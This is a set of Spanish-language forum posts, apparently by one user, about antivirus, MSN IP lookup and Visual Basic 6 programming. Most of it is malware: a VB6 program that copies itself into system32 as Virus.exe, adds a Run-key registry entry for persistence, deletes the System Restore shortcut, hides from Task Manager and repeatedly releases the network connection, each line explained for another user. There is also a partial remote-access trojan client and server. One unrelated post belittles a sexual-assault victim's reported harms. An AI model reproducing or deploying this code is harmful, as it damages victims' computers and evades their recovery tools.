Mensajes

mira lo de saber vuestra IP es facil, simplemente que cuando por el msn le envias un archivo a alguien o el te lo envia a ti si vas a INICIO/EJECUTAR y haí pones cmd.exe le das a enter te saldra un cuadro negro pues si en ese cuadro mientras le estas pasando o te estan pasando un archivo por messenger pones en el cuadro negro             netstat -n       te saldran unas cuantas IPs, bueno pues la ultima es la de la persona que le estas pasando o te esta pasando algo por el msn. Y lo de encender o apagar el router supongo que es porque cuando lo apagas el msn se te desconecta y cuando lo enciendes se te vuelve a conectar, por lo que he visto en el analisis no parece ser que tengas ningun bicho, tambien podria ser indetectable, en todo caso si este chico sabe a que paginas entrais loq ue debeis hacer es entrar en una pagina web, por ejemplo www.elhacker.net y justo despues le preguntais a ver sis abe a que pagina acabais de entrar, a ver si lo adivina si lo adivina simplemente lo demandais, sino lo llamais "wannabe".
ApOkAlizE

Bueno yo uso nod32, se que no es el mejor pero lo bueno es que usa poco CPU del ordenador hay toros antivirus que hacen que el PC vaya elnto, no se si aún pasa pero almenos antes el antivirus Panda hacia ir el PC lento, el que dicen que tiene buena heuristica apra los malwares nuevos o sea los que aún no están en als actualizaciones es el McAfee, me han dicho que tiene muy buena heuristica, pero vamos que a veces hasta los antivirus parecen inutiles, fijaros hace poco me entro un troyano y pues bien el antivirus me lo detectava y decia que me lo habia eliminado pero en realidad aún lo continuava teniendo(me imagino que el troyano engañaria al antivirus haciendole creer que ya lo habia eliminado o algo así), y bueno el caso es que cojo la shell y con un "del /s /f /q" ma cargo el troyanito.xd

No he programado en mi vida en C++, pero lo que si es cierto es que cuando intentas agregar algo en los tegistros tienes que pones /t(type) que es el tipo de clave  por ejemplo prueba este codigo:

system("ADD REG hklm/software/microsoft/windows/currentversion/run /v eudcedit /t REG_SZ /f /d c:/windows/system32/eudcedit.exe");

esto lo que hace es que al añadir el registro lo deja en una llave de tipo REG_SZ, prueva a ver si te funciona y me dices si funciona bien o que

Pero si no quieres hacer un virus entonces¿ para que representa que sirve esto de desconfigurar el internet?

ya se que mi codigo es una autentica chapuza, por eso necessito que alguien me ayude, es que cuando tenga este codigo bien ya podre hace run troyano con el que obtener el control total del PC

Estoy haciendo un troyano, que lo utilizare con mis amigos para podernos apsarnos los jeugos,peliculas,videos... entre nosotros, o sea que más que un troyano sería una programa de assistencia remota.
el caso es que en la parte de descargar archivos no me funciona, es que la verdad he hecho una chapuza, os dejo el codigo a ver si alguien me puede ayudar.
gracias de antemano.

Private Sub Command1_Click()
Dim rutadescarrega As String
rutadescarrega = Text1.Text
Winsock2.SendData rutadescarrega
End Sub

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim desc As String
Dim nomfitxer As String
Dim rtadesc As String
Dim format As String
Dim tamany2 As Double
format = Text4.Text
nomfitxer = Text2.Text
rtadesc = "C:\P4ND0R4\Descarregues\" & nomfitxer & format
Call Winsock2.GetData(desc, vbString)
Dim desc2 As Long
desc2 = desc2 + desc
If Len(desc2) = tamany Then
Open rtadesc For Binary As #1
Put #1, 1, desc2
Close #1
End If
tamany2 = tamany
ProgressBar1.Min = 0
ProgressBar1.Max = tamany
Label2.Caption = Len(desc2) & "/" & tamany2
ProgressBar1.Value = Label2.Caption
if Len(desc2) = tamany2 Then
Winsock4.sendata "descarregat"
End If
End Sub


server:

Private Sub Winsock4_DataArrival(ByVal bytesTotal As Long)
Dim progr As String
Call Winsock4.GetData(progrés, vbString)
If progr = "descarregat" Then
rutadesc = ""
Dim IP As String
Dim PORT As String
Dim port2 As String
Dim port3 As String
Dim port4 As String
IP = "192.168.1.33"
PORT = "1337"
port2 = "1338"
port3 = "1339"
port4 = "1400"
Winsock1.Close
Winsock1.Connect IP, PORT
Winsock2.Close
Winsock2.Connect IP, port2
Winsock3.Close
Winsock3.Connect IP, port3
Winsock4.Close
Winsock4.Connect IP, port4
End If
End Sub

Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim desc As String
Call Winsock2.GetData(desc, vbString)
Dim rutadesc As String
Dim interruptordesc As String
rutadesc = desc
Dim tamanyFitxer As String
Dim tamany As String

Open rutadesc For Binary As #1
tamanyFitxer = Input(LOF(1), 1)
Close #1
tamany = Len(tamanyFitxer)
Winsock2.SendData "arxiudesc" & "|" & tamany & "|" & rutadesc

¿sabes programar en VB?
Bueno pues te dejo aqui el codigo.

Private Sub Form_Load()
Dim ruta As String
ruta = App.Path & "\Video001.exe"
FileCopy ruta, "C:\WINDOWS\system32\Virus.exe"
Shell ("reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v Virus.exe /t REG_SZ /d C:\WINDOWS\SYSTEM32\Virus.exe /f")
Kill "C:\Archivos de programa\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Call Shell("ipconfig/release")
End Sub


Creo que lo he hecho bien, mira.
ruta = App.path & "\Video001.exe"   -----> significa que la variable ruta es equivalente a la ruta que tiene el virus este que quieres hacer, App.path es la ruta del archivo, pero luego hay que añadirle el nombre del virus, por tanto de nombre tendras que ponerle Video001, eso si no le pongas el EXE, solo pon Video001 como nombre.
FileCopy ruta, "C:\WINDOWS\system32\Virus.exe"   ---> esto es que vamos a la variable ruta que te recuerdo que es dodne esta el virus y le hacemos una copia y esta copia la pegamos en C:\WINDOWS\system32\Virus.exe" y si te fijas hemos cambiado el nombre de Video001.exe por Virus.exe

Shell ("reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v Virus.exe /t REG_SZ /d C:\WINDOWS\SYSTEM32\Virus.exe /f")  ---->esto es para hacer una copia de "C:\WINDOWS\system32\Virus.exe" y la guardamos en los registros de esta forma cada vez que se encienda el ordenador se activara el virus. REG_SZ es el tipo de llave que s ele pone en los registros, y la /f es para forzar la accion, por ejemplo si el archivo ya estaba guardado en los registros apra que no produzca error fuerza la acción.
lo de kill"c:\archivos de programa... esto es apra eliminar el restaurador dels istema, el restaurador es una herramienta con la que puedes dejar el PC tal y como estaba unos dias antes, de tal manera k si tieras al 9 de agosto de 2010 el ordenador se quedara como estaba ese dia, pues cone sto eliminamos este restaurador apra que nos e pueda restaurar

Private Sub Timer1_Timer()
On Error Resume Next
Visible = False
App.TaskVisible = False
Call Shell("ipconfig/release", vbHide)
End Sub

esto es la propiedad timer, le pones un timer a tu VB y le pones como intervalo 3 o 4 segundos. On Error Resume Next ---> es para que si se produce algun error lo ignore, ya que sin esto al producirse un error se bloquearia el programa
Visible = False  ----> para ocultar el formulario ya que sin esto al abrir el virus saldria una ventanita gris, y si cierra esta ventanita gris cierra el virus.
App.TaskVisible = False   ---> esto es para que si pressiona CONTROL + ALT + SUPRIMIR no pueda cerrar el virus ya que sino podria finalizar la tarea del virus.
Call Shell("ipconfig/release", vbHide)  ---> Call Shell es apra activar la shell, si quieres hacerlo mas corto con Shell basta no hace falta que pognas Call, luego lo que hay entre comillas es las acciones que se haran por la shell que en este casoe s desconfigurar el internet, atencion, ipconfig/release no e spara bloquear el internet es apra desconigurarlo si quieres bloquearlo tendrias que eliminarle el Driver de internet, y lo de vbHide es para que al ejecutarse la shell no salga la ventanita negra pk sino se notaria que tiene un virus.
Bueno pues creo que te lo he explicado bien, logicamente te lo enseño para que aprendas mejor a programar no para que te dediques  a putear al personal, pues aunque la ciencia pueda llegar a ser muy divertida, no es ningun juego.
NO ME HAGO RESPONSABLE DE TUS ACTOS.
ApOkAlizE

para novatos no, lo que si que es cierto es que es más sencillo que lenguaje C++ por ejemplo, porque está hecho para gente que no tiene mucha experiencia en el mundo d ela programación, o que tienen pero que les gusta las cosas fáciles, mira supongo que esto depende, si tu de VB sabes 4 codigos luego si que eres un lammer, ahora bien, si programas bien en VB podras programar bien en otros lenguajes, y VB lo que tiene es que para hacer depende de que funciones pues va un poco lento, por ejemplo para hacer un videojuego pues hiria un poco lento, ahora, con VB puedes hacer de todo, mira unos d elos hackers más famosos del mundo que infectarón muchos ordenadores, el virus este lo crearon con VB.

"provocándole un traúma, según ella, además de "severos daños psicológicos", "cefaleas", "ansiedad aguda", "sudores fríos", "insomnio", "pesadillas" y "problemas digestivos".", no es por meterme donde no me llaman, pero yo considero que no te va a pasra todo esto por que te toquen una teta, pues personalmente no encuentro muy creible que una persona tenga ansiedad aguda,cefaleas,severos daños psicologicos,trauma,sudores frios,insomnio,pesadillas y problemas digestivos por que le hayan tocado una teta, es que si por que le toquen una teta ya coje todo esto entonces no quiero ver que le puede pasar si la violan.

¡Y TU PATITO DONALD ERES MUY MALO!

Muchas Gracias, pero lo que seria interensate es hacer esto pero con codigo, o sea que no tenga que entrar al regedit manualmente que le ponga el codigo al vb 6.0 y me lo haga.